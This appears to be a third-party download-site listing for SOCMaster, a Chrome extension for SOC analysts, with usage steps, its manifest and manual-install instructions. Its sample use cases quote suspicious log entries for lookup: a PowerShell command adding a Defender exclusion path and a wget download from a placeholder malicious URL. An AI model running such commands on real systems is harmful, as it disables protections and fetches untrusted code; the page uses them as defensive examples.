Get info on OS Commands, IPs, Domains, URLs, Hashes, Windows Events and Registry keys, Strings, and Files with one click.

Latest Version

Version
0.5.9
Update
October 5, 2024
Size
493KiB
Developer
Category
Users
174
Rating
5 ★
Manifest Version
3
Web Store Status
Languages Support
English
See more
Permissions
ContextMenus
Storage
ActiveTab
Scripting
See more

SOCMaster Extension

SOCMaster is a powerful browser extension designed to enhance the efficiency and effectiveness of cybersecurity professionals. With a single click, users can scan IP addresses, domains, URLs, file hashes, and more directly from their browser, transforming raw data into actionable intelligence. Whether you're a threat hunter, SOC analyst, or incident responder, SOCMaster streamlines your workflow by integrating directly with leading threat intelligence platforms.

SOCMaster integrates with leading threat intelligence platforms such as VirusTotal, AbuseIPDB, and others, allowing users to swiftly transform data into actionable insights.

==============================
USAGE
==============================
Single lookup

1. From the web browser, select or highlight an artifact and right-click

2. Select \"SOCMaster\"

3. Click one of the options available

4. Menu will appear on lower right side containing information on the artifacts

Bulk lookups --allows you to quickly assess multiple artifacts at once, saving time during intensive investigations.

1. From the web browser, gather a list of either IP addresses, Domains, URLs, File Hashes, File Names. Each entry separated by new line or spaces

For example:

8.8.8.8
7.7.7.7
6.6.6.6

2. Highlight all of the objects to be scanned, right-click, and select \"SOCMaster\"

3. Click one of the options available (IP/Domain/URL/Hash scan using vendor API keys or Get file (Linux/Windows) information)

4. Menu will appear on lower right side containing information on each object. Reputation of artifact from threat intel vendors will also show.

===============================
MAIN FEATURES
===============================

1. IP/Domain/Hash using vendor API keys:

- Uses Threat intelligence vendors such as AbuseIPDB, VirusTotal, AlienVaultOTX, HybridAnalysis and others to obtain the reputation and information on an IP address, Domain, Hash. Data available is dependent on the vendor.

- Requires API key from Vendor.

2. URL scan using vendor API keys:

- Submits URLs to URLscan.io, VirusTotal, AlienVault, HybridAnalysis and others for analysis using API keys.

- Click the vendor link to view the URL scan result.

- Requires API key from Vendor.

3. Get OS command information (PowerShell, Windows, Linux OSX):

- Get information on over 3,300 Powershell cmdlets from Powershell modules, almost all Linux commands (Man Sections 1-8), Windows commands, and OSX commands.

- Shows information on Operating System binaries and commands. For example, Windows commands such as \"ipconfig\" or \"tasklist\", \"Set-ExecutionPolicy\" for Powershell, and \"rm\" for Linux.

- No API key required

4. Get file (Linux/Windows) or Registry key (Windows) information:

- Retrieve information on known files such as \"kernel32.dll\" for Windows or \"passwd\" for Linux.

- Get information on Windows Registry keys such as \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\".
- No API key required

5. Get event ID Information (Windows):

- Show documentation on a Windows Event Log using its Event ID
- No API key required

6. String search (Twitter, Google):

- Display results from Twitter or Google search results using a string of characters

==============================
API KEY CONFIGURATION
==============================

To query an IP, Domain, and Hash using vendor API keys, an API key is required. Follow the steps:

1. Click Extensions icon in Google Chrome's upper right menu

2. Click the \"SOCMaster\" icon > Settings

3. On the settings page, on the upper right corner click \"Add API key\"

4. On intel source selection, select API key vendor

5. Paste vendor API key on the API key field

6. Click save

7. API key now added, IP/Domain/Hash scan using vendor API keys can now be used

==============================
SAMPLE USE CASE
==============================

1. Suspicious PowerShell logs show:
Set-MpPreference -ExclusionPath \"C:\\users\\public\\documents\\sucmra\"

A user can highlight the above command and select the \"Find command information\" option and will be able to view the syntax and parameters of the command.

2. Suspicious IP address from the firewall logs:
x.x.x.x

A user can highlight the IP and select the \"IP scan using vendor API keys\" option and will be able to view IP reputation and data from vendors.

3. Suspicious linux command show:
wget http://malicious_url -O

A user can highlight the above command and select the \"Find command information\" option and will be able to view the syntax and parameters of the command.

4. Windows Event IDs on the SIEM show:
eventID 4624

A user can highlight the event ID number and select the \"Get event ID information\" option and will be able to view the fields and description of the Windows event

==============================
CREDITS
==============================

Supports the following vendors:
VirusTotal
AbuseIPDB
AlienVaultOTX
Twitter
URLscan
HybridAnalysis
GoogleSearch
Pulsedive

Author contact: https://www.linkedin.com/in/marcusmcapistrano/
Read more

Source Manifest.json

{"update_url": "https://clients2.google.com/service/update2/crx", "manifest_version": 3, "name": "SOCMaster", "version": "0.5.9", "description": "Get info on OS Commands, IPs, Domains, URLs, Hashes, Windows Events and Registry keys, Strings, and Files with one click.", "permissions": ["contextMenus", "storage", "activeTab", "scripting"], "host_permissions": ["https://*/*", "http://*/*"], "web_accessible_resources": [ { "resources": ["/scripts/html_references/*","/images/menu_logo.PNG","/css/*"], "matches": [""] } ], "background": { "service_worker": "/scripts/background.js", "type": "module" }, "action": { "default_popup": "popup.html" }, "icons": { "16" : "/images/icon.png", "48" : "/images/icon.png", "128" : "/images/icon.png" }}
Read more

How to download and manually install SOCMaster extension for Chrome

Looking for a way to install SOCMaster extensions for Chrome, you can search for them in the Chrome Web Store, clicking the "Add to Chrome" button, and following the straightforward process.

However, you may need to install SOCMaster extensions manually, this article outlines two simple methods to effortlessly install SOCMaster extensions, whether they come as unpacked folders in compressed formats like .zip or as .crx files.

Method 1: Download SOCMaster extension and manually install through Drag &Drop

If you ever need to manually install a SOCMaster extension for Chrome, don't worry, it's a simple process. Just follow these easy steps, and you will have your extension ready to use in no time.

Step 1: Download the SOCMaster Extension by clicking the "Download CRX" button on the website.

Look for the SOCMaster extension you wish to install. Go to the website and download the SOCMaster extension package, which is usually a .CRX file and comes in a zipped file. Here ".crx" file is the format for SOCMaster extension that contains all the data.

Step 2: Extract &Arrange Files

Once the file is downloaded, extract that file into its own folder. Similarly, give that extension files a permanent home. In other words, keep it in a folder that you don't accidentally delete it because these files will be needed to make that extension work.

Step 3: Go to the Chrome Extensions Page

Open Google Chrome and in the address bar, type chrome://extensions; it will open the Google Chrome extensions page. Make sure that "My extensions" is selected in the sidebar.

Step 4: Drag and Drop the Extension

Now, go to the folder where you extracted the SOCMaster extension and drag &drop the extension file from there anywhere onto the extension page within Google Chrome.

Step 5: Complete the Installation

Once you drag and drop the extension file, follow the steps that Google Chrome takes you through. Similarly, if the extension file is of .crx file format, you will be required to review the permissions and then add the extension.

Now, you can manage that added extension as you would like to with any other Chrome extension that you added through Chrome Webstore. Its icon will also appear in the Google Chrome Menu on the right side of the address bar once you activate it.

Method 2: Download SOCMaster extension for Chrome and install in Developer Mode

This is another method to install SOCMaster extension manually, but the twist is that here, you install by enabling the developer mode option provided in Google Chrome. This mode is commonly used for testing extensions or running unpublished tools.

Step 1: Download the SOCMaster extension file

Select and download the SOCMaster extension by clicking the 'Download CRX' button on the website.

Step 2: Extract the downloaded contents

Convert the file to a ZIP file if it is in CRX format then extract the SOCMaster extension zip file or folder that you downloaded. Make sure you extract it using the same folder name and keep it safely in another folder, so you don't delete it by mistake. The extracted folder will be needed to keep your SOCMaster extension running.

Step 3: Open Chrome Extension Setting Page

In the address bar of Google Chrome, type chrome://extensions and open the Chrome Extension Page.

Step 4: Enable Developer Mode

After opening the Chrome Extension page, look at the top right side, and you will find the toggle option of "Developer mode."Simply enable that developer mode option.

Step 5: Load the Unpacked Extension

Once you enable the developer mode option, you will see the menu of Load Unpacked, Pack Extensions and Update. From that, select the option "Load unpacked."

Step 6: Select the Extension Folder

Once the pop-up opens upon clicking Load unpacked, select the SOCMaster extension directory and click on the "Select Folder "button.

Step 7: Confirm and Install

After you select an extension folder of a Google Chrome extension you're installing manually, confirm its installation for the final time and let the installation complete.

Conclusion

Here we've made a step-by-step guide on How to manually install SOCMaster extension in 2 ways. We hope this guide proves helpful.

Similar Extensions

icon

h4ck3r Extension · Developer Tools 174 1 ★ 178KiB

icon

SOC Multi-tool Extension · Productivity 174 5 ★ 10.69KiB

icon

Perceptual image analysis Extension · Productivity 174 1 ★ 78.98KiB

icon

should-i-trust Extension · Productivity 174 0 ★ 367KiB

icon

Site Blocker Extension · Productivity 174 2 ★ 46.95KiB

icon

Investigate with Lacework Extension · Productivity 174 0 ★ 17.45KiB

icon

Pulsedive Threat Intelligence Extension · Productivity 174 30 ★ 18.48MiB

icon

OSIRIS: OSINT Reputation Intelligent Search Extension · Productivity 174 2 ★ 10.79KiB

icon

OSINT Angel Extension · Productivity 174 0 ★ 29.48KiB

icon

OSINT=* Extension · Productivity 174 5 ★ 279KiB

icon

NetSniffer: Context Menu OSINT Extension · Productivity 174 1 ★ 335KiB

icon

ManRepository - Linux Man Pages Extension · Developer Tools 174 0 ★ 76.22KiB

icon

Sputnik Extension · Productivity 174 13 ★ 14.14KiB

icon

Camel Tabs Extension · Productivity 174 4 ★ 92.69KiB

icon

The Prime Hunt Extension · Developer Tools 174 11 ★ 349KiB

icon

Display Access Keys Extension · Accessibility 174 3 ★ 6.56KiB

icon

beABot Extension · Fun 174 3 ★ 51.2KiB

icon

Vortimo OSINT-tool Extension · Productivity 174 8 ★ 13.52MiB

icon

ATT&CK Powered Suit Extension · Productivity 174 10 ★ 3.48MiB

icon

Domain Info Extension · Productivity 174 6 ★ 123KiB

icon

Admin tools Extension · Developer Tools 174 1 ★ 62.79KiB

icon

Scripter debugger extension Extension · Developer Tools 174 2 ★ 1.04MiB

icon

Javy: GPT-4 powered assistant Extension · Productivity 174 11 ★ 471KiB

icon

Package Hub Extension · Developer Tools 174 2 ★ 28.3KiB

User reviews

icon

Marinela Isabelle Capistrano (ID: 0000006cf08c1062) Voted 5 ★ - Updated 02/21/2023 very useful tool for searching definitions